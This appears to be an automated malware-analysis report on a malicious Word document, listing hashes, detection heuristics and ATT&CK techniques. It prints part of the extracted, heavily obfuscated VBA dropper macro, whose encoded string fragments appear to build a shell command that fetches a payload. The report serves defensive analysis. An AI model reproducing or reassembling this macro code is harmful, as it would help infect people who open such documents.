Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa273632b7832494…

MALICIOUS

Office (OLE)

209.8 KB Created: 2018-06-26 14:02:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: ca07e3ed1c8def4ae61fded669f3c4de SHA-1: 8c2fee6afbd1c391a046397c0b43ce2d27a48ec6 SHA-256: aa273632b783249498eb649ed79f7d9b40622039a1cb0b633ae5afc87442efb2
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate the presence of a Shell() call within the AutoOpen macro, which is a common technique for executing arbitrary code. ClamAV detection further confirms its malicious nature. The VBA script is heavily obfuscated, but the presence of the Shell() call strongly suggests it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6592267-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6592267-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8542 bytes
SHA-256: ed03f4c726ead7801787e52b01cdcda66d2ec6e08d0e445f2c147727e6c70fc0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CIalEmj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lpwREiXDScO"
Function vYjtJ()
On Error Resume Next
zGpJV = CDate(38803)
BRZFj = 11945
fSvDPo = 7428
zKLjcC = 8228
VFzrIn = Sin(63268)
jvvwDE = IwjHq
aKAoJ = "He" + "ll " + " " + Chr(40) + "'1" + "11z29@4" + "7C59!118" + "}37}46" + "g60g1" + "02" + "@36" + "q41i33"
mzfVaz = Sin(28227)
aIwjrl = 45063
qrCkk = jRaBML
pXDwp = CDate(65503)
Jwuaf = 12142
kucXi = 42647
zDDnABfoU = "X4" + "6X40}" + "63!107" + "i5z46X" + "63q101!2" + "8i46g4" + "1@" + "8@39C34@" + "46z"
PmdzrG = Sin(98681)
WrkbMA = 17935
fwwRhs = KEiHi
cihOh = CDate(26579)
npiWd = 20947
ozKscc = 91072
lObzDkd = "37g63!11" + "2g111!" + "13C7X60" + "!118@10" + "8g3" + "5z63i63" + "g59!113C" + "100i100C" + "60X60@60" + "z101z" + "42z61" + "b46z3"
ATZtq = Sin(80961)
RBHnUX = 35628
Qbmhs = QvDiL
MYFZG = CDate(33884)
tflcw = 76483
RhDERG = 49412
FQffTi = "8C4" + "6X42" + "i47q36g" + "60" + "q5" + "6i101C" + "40C" + "36g" + "38C100@" + "44g4" + "1@27"
wojiv = 32296
HbDqz = CDate(5993)
mdjVT = 64639
ZPjtn = XlpJj
iPcdo = 40194
wGBFG = Sin(58658)
NttZos = "g10@3z30" + "q100z" + "11i3" + "5!63C" + "63!59@" + "113" + "X100g100" + "!32}" + "36}56" + "C3" + "4z39!"
nYnoRf = 97777
BNGPUf = CDate(72519)
zbivq = 3063
wKzsAP = cpjodm
RkjDE = 97726
AnFPS = Sin(48)
DEpAvVQM = "39" + "}36}59!4" + "6i5" + "7q62g" + "63q" + "36" + "@62C57i5" + "6i101q4"
zpdvC = 3404
MKrKp = CDate(19411)
BWQDj = 82996
slCHIl = DijmP
tjNUUU = 66003
SBbSVB = Sin(90460)
ZuLjoznHVh = "0}36X3" + "8g100g" + "38b57C" + "46" + "g59C114!" + "42q" + "3}58b10" + "0}11q3" + "5@63}63" + "b5"
KdKsM = 49569
sHNZz = CDate(46768)
fiQwd = 35337
vjLIc = vYLGjZ
hITtnw = 29396
vfFYT = Sin(19493)
oWXromHopGn = "9q113z10" + "0i100i6" + "0q60" + "q60X1" + "01}4" + "0z62i56@"
fNwqO = 21645
sQDTmG = CDate(93781)
wkbQZp = 44195
XJfDG = FBQPVl
jBLFac = 31034
icnknj = Sin(15949)
VJPGu = "63b3" + "6q38X42" + "}40" + "@40" + "!46z56q" + "56" + "!47" + "z4" + "2}63q" + "42@41q" + "42b5" + "6X46q10"
XIdGjE = 38796
jiRAM = CDate(8899)
imKSj = 30018
wNGCr = jMsaMS
clwwXE = 35903
DsJTR = Sin(77387)
ShJlrEHZp = "1b40b36" + "}38q1" + "00q33" + "i3" + "6C34" + "b6" + "2X46X35" + "X63g57!" + "100g" + "114q" + "44b1"
RSGDG = 70132
qwiWw = CDate(24125)
sZnIh = 86453
NuiwVb = dvHrM
ohDzW = 77381
PESaW = Sin(52342)
LYwYXwtwjoY = "14z1" + "27X59z1" + "21q100" + "@1" + "1b3" + "5C63}"
zjZcZb = 95627
idndz = CDate(85792)
DiJJz = 93445
KVomt = Wunaqk
pZdhU = 71787
kzuGn = Sin(83076)
SzGaHLEEEph = "63z" + "59" + "b113g" + "100!10" + "0!60" + "C60" + "g60q" + "101C47g" + "46}34b" + "38" + "i59z3"
vYjtJ = aKAoJ + zDDnABfoU + lObzDkd + FQffTi + NttZos + DEpAvVQM + ZuLjoznHVh + oWXromHopGn + VJPGu + ShJlrEHZp + LYwYXwtwjoY + SzGaHLEEEph
ztrozB = 47680
FsjTd = CDate(73457)
KDfLzb = 57866
boODX = wMNRjI
pjjwX = 70417
wNiVk = Sin(59856)
End Function
Function vChQQ()
On Error Resume Next
TarNEH = 8518
wEizZ = CDate(77332)
aMRkm = 40505
wPZrn = izaEW
aPznK = 45354
SfWPPD = Sin(97236)
wLqjzusAdJV = "9g42" + "!37z6" + "3g101g" + "40q" + "36@38X10" + "0C" + "8g13b56" + "q13g" + "114}25" + "q30q100" + "@11g3"
BjfaF = 60080
GQCICC = CDate(90630)
SfzaL = 4711
YGMHBw = CVkjY
SDoGw = 53699
YhGjs = Sin(60034)
JTPutrHUIq = "5z63" + "z63!59i" + "113}10" + "0!100i" + "37X45g62" + "z56}" + "46b47q34" + "i44X3"
wwZTFA = 72310
IrSQp = CDate(31280)
iuOBZo = 28770
qbjnZp = mBWdjU
DqsXM = 75139
EGiJp = Sin(31042)
PSYlzwzVmP = "4i" + "63@42!39" + "g101}40X" + "36g101" + "C49" + "i42i10" + "0g14C8!" + "41b"
hBEvzV = 84584
EBhkYZ = CDate(97610)
fZObT = 82737
IBcbF = iKTUop
zQwWf = 97906
AFdhu = Sin(78186)
LEajMmw = "40b45" + "g15g" + "51" + "g58" + "q100g1" + "08z101q2" + "4z5" + "9i39" + "!34}63X" + "99z108" + "!11"
ovaYid = 12468
NCwnHU = CDate(6707)
wcAqJ =
... (truncated)

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